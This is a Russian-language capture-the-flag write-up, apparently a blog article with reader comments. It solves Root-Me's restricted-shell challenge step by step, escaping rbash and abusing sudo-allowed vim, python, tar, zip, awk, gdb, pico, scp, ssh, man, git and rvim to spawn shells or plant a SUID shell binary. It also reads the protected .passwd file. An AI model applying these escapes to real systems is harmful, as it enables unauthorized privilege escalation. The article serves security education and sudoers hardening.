Всем доброго времени суток, в этой статье постараюсь описать некоторые способы обхода ограничений на исполнение команд в ОС Linux, советы по использованию которых можно часто встретить на различных форумах. Демонстрация будет проведена на примере задания Restricted shells с сайта Root-Me. Итак, начнём.
Пользователь ch14-1
После подключения по SSH мы попадаем на первого пользователя, и видим подсказку: «Всегда проверять sudo -l». Но для начала нужно обойти первую преграду, это rbash, который часто рекомендуют использовать для ограничения действий пользователя в командной оболочке. И действительно, с виду, он является хорошим решением, но не всегда!
Нас лишили возможности использовать ls, но мы можем отобразить содержимое любой директории используя echo:
app-script-ch14@challenge02:~$ echo ./step1/*
./step1/vim
Обычно, список бинарников разрешённых к запуску в rbash находится в так называемой домашней директории. В данном случае нам доступен vim, используя который мы можем выйти в нормальную оболочку. Запускаем vim и вводим команды:
:set shell=/bin/bash
:shell
Sudo разрешает нам запустить python, а учитывая его безграничные возможности это не совсем безопасно, и вот почему:
app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python
Вводим следующие команды:
>>> import os
>>> os.system('/bin/bash')
Пользователь ch14-2
И попадаем на следующего пользователя, которому доступен архиватор tar.
app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l
(app-script-ch14-3) NOPASSWD: /bin/tar
Казалось бы, что в этом опасного? Однако tar, как и многие другие архиваторы, позволяет упаковывать и распаковывать файл сохраняя права доступа к нему. Создадим файл shell.c следующего содержания:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
execve("/bin/sh", argv, envp);
return 0;
}
Компилируем и добавляем SUID бит:
app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell
Теперь распаковываем с сохранением прав используя sudo:
app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell
app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar
В результате, после разархивирования, файл shell обретает нового владельца. В этом можно убедиться выполнив ls -ahl:
-rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K Feb 14 22:39 shell
После запуска попадаем на следующий уровень:
Пользователь ch14-3
Снова проверяем sudo:
app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l
(app-script-ch14-4) NOPASSWD: /usr/bin/zip
На этот раз уже лучше, по умолчанию, zip только упаковывает файлы, для распаковки нужен unzip, который мы запустить не можем, или можем?
Заглянув в man по zip'у, находим там интересный параметр:
-TT cmd --unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:
zip archive file1 file2 -T -TT "./unzip -tqq"
In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix)
Вот и ответ. Запускаем архивацию с последующим тестированием архива, а в качестве команды для проверки, указываем unzip, который распакует файл в текущую директорию, естественно с сохранением прав доступа:
app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T
updating: shell (deflated 67%)
Archive: ziFiNi11
replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
inflating: shell
test of z.zip OK
Проверяем результат:
app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell
Пользователь ch14-4
Смотрим, что ему доступно:
app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD
(app-script-ch14-5) NOPASSWD: /usr/bin/awk
Ну тут всё просто, достаточно выполнить команду, описание которой можно легко найти в сети:
awk 'BEGIN {system("/bin/bash")}'
Пользователь ch14-5
Новый пользователь и новые ограничения:
app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD
(app-script-ch14-6) NOPASSWD: /usr/bin/gdb
GDB довольно мощный отладчик, и способов вызвать bash у него гораздо больше:
Первый это через встроенный Python:
(gdb) python import os; os.system('id')
uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users)
(gdb) python import os; os.system('/bin/bash')
Либо аналогично, как это делали с vim:
app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls
(gdb) shell
Пользователь ch14-6
Если вы думаете: «Что можно сделать через такой простой редактор как pico», то вероятно вы не знаете про его проверку орфографии, о которой кстати написано в man'е. А сказано там следующее, что в качестве утилиты для проверки орфографии, мы можем указать всё что угодно. У нас уже есть отличный бинарник для запуска оболочки, нужно только придать ему соответствующие права. Для этого создадим файл spellbash.sh со следующим содержимым:
#!/bin/bash
gcc shell.c -o shell
chmod 777 shell
chmod +s shell
Изменяем права:
chmod 777 spellbash.sh
И запускаем pico, передав ему в качестве программы для проверки орфографии наш скрипт:
app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh
После успешной проверки орфографии и закрытия редактора, наш скрипт готов к запуску:
app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell
Пользователь ch14-7
Ну комментировать все последствия предоставления доступа к копированию файлов по сети не нужно, однако так как доступа в сеть у нас нет, то запустив man, узнаём следующее:
-S program — Name of program to use for the encrypted connection. The program must understand ssh(1) options.
Ок, действия аналогичны прошлому уровню:
app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./
app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell
Пользователь ch14-8
А вот это уже интересно. Однако и тут есть подводные камни. Так например, если запустить man, и в интерактивном режиме нажать "h", будет показана справка, в которой можно обнаружить вот такую запись:
!command Execute the shell command with $SHELL.
Прямое исполнение команд оболочки. То что нам нужно, открываем man для любой команды, и вводим !/bin/bash:
app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls
Пользователь ch14-9
Так как прав выполнить подключение к внешнему серверу у нас нет, то нужен способ выполнить команду, ещё до установки соединения. И такая возможность есть, воспользуемся советом, описанным тут:
app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1
Получаем сообщение о том, что соединение сброшено, но это нем и не важно, ведь:
app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell
Пользователь ch14-10
Git так же предоставляет множество способов выполнить стороннюю команду, мы воспользуемся наиболее простым из них, который мы использовали с man:
app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status
Далее вводим !/bin/bash и попадаем на следующего пользователя:
Пользователь ch14-11
Вот мы и дошли до ещё одного распространённого совета, вместо vim использовать его ограниченную версию rvim и вот почему: Попробовав тот же способ, что использовался в самом начале для vim, получаем ошибку:
Но и тут есть лазейки… Просматривая список доступных команд, можно наткнуться на команды :python и :lua. Ограниченный от прямого исполнения команд rvim оказался не таким уж и безопасным.
:python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')
Пользователь ch14-12
script запускает новую сессию, и полностью логирует всё в указанный файл, так что просто запускаем:
app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh
Пользователь ch14-13
Тут тоже ничего сложного, поэтому просто запускаем и снова попадаем в «начало»:
app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --
Пользователь ch14-14
На этот раз авторы учли ошибки, и убрали vim:
app-script-ch14-14@challenge02:~/step14$ echo ./*
./sl
При выполнении команды, как можно догадаться появляется анимация локомотива и надпись
THE GAME IS OVER!
Но содержимое файла .passwd, требуемое по условию задания, мы так и не получили. Значит это ещё не конец.
Посмотрим список команд, которые доступны:
! elif pushd
./ else pwd
: enable readonly
[ esac return
[[ eval select
]] exit set
alias export shift
bg false shopt
bind fc sl
break fg suspend
builtin fi test
caller for then
case function time
cd getopts times
command hash trap
command_not_found_handle help true
compgen history type
complete if typeset
compopt in ulimit
continue jobs umask
coproc kill unalias
declare let unset
dirs local until
disown logout wait
do mapfile while
done popd {
echo printf }
Не густо, однако есть несколько способов получить содержимое файла .passwd, здесь будет только 1 из них, остальные оставлю вам на самостоятельный поиск. И так, просматривая help по каждой доступной команде, находим одну из них довольно интересной:
mapfile: mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
Read lines from the standard input into an indexed array variable.
Read lines from the standard input into the indexed array variable ARRAY, or
from file descriptor FD if the -u option is supplied. The variable MAPFILE
is the default ARRAY.
Options:
-n count Copy at most COUNT lines. If COUNT is 0, all lines are copied.
-O origin Begin assigning to ARRAY at index ORIGIN. The default index is 0.
-s count Discard the first COUNT lines read.
-t Remove a trailing newline from each line read.
-u fd Read lines from file descriptor FD instead of the standard input.
-C callback Evaluate CALLBACK each time QUANTUM lines are read.
-c quantum Specify the number of lines read between each call to CALLBACK.
Arguments:
ARRAY Array variable name to use for file data.
If -C is supplied without -c, the default quantum is 5000. When
CALLBACK is evaluated, it is supplied the index of the next array
element to be assigned and the line to be assigned to that element
as additional arguments.
If not supplied with an explicit origin, mapfile will clear ARRAY before
assigning to it.
Exit Status:
Returns success unless an invalid option is given or ARRAY is readonly or
not an indexed array.
После недолгих поисков в сети примеров её использования, находим статью, которая как раз описывает способ чтения произвольного файла в переменную окружения, используя эту команду.
Воспользовавшись советом, выполняем:
app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY
app-script-ch14-14@challenge02:~/step14$ echo $ARRAY
И получаем искомый пароль.
Теперь, добавляя возможность запуска какой-либо программы в файл sudoers, не поленитесь и ознакомьтесь с полным её описанием, ведь возможно именно она станет основной дырой в безопасности.
P.S. На самом деле для каждого из уровней есть своё определённое множество решений, и найти свой собственный путь будет гораздо интереснее.
Комментарии (6)
Seboreia
20.02.2017 00:23+3Вот тоже соглашусь с первым комментарием, что подводит не sudo, а правила в нем. Какие-то «сферические команды в вакууме» — не могу представить сценариев, где нужны были бы такие привелегии
glowingsword
20.02.2017 00:26+5Спасибо за интересную статью. Некоторые из упомянутых вами способов обойти ограничения sudo хорошо знакомы, но про использование python в gdb и использование zip с -TT впервые узнал из данной статьи.
ony
21.02.2017 17:30+2Ещё раз подтверждает, что в
sudo
надо прописывать неинтерактивные комманды. А если нужный частичный функционал какой-то комманды, то лучше сделать враппер на баше или ещё чем-то.
А для публично доступных аккаунтов лучше давать доступ для записи (домик и прочее) наnosuid
файловую систему (совсем для параноиnoexec
).
P.S. Мне казалось, что проще копировать
/bin/bash
себе в домик и ставить на него suid бит чем компилить что-то.
Carburn
Так виновата не sudo, а программы, которые через нее запускаются.
ValdikSS
А иногда все-таки sudo, вернее разработчики, которые полностью не понимают, что делают.
Разработчики, вероятно, не знали, что sudo ищет вхождения подстроки в строку, а не разделяет аргументы отдельно (как это бы было в случае какого-нибудь execv), поэтому повысить свои привилегии можно легко одной командой:Установщик 1С-Битрикс Веб-кластер добавляет следующую строку в /etc/sudoers:
Для самого sudo аргументы выглядят следующим образом:
И это соответствует написанному разработчиками правилу sudoers.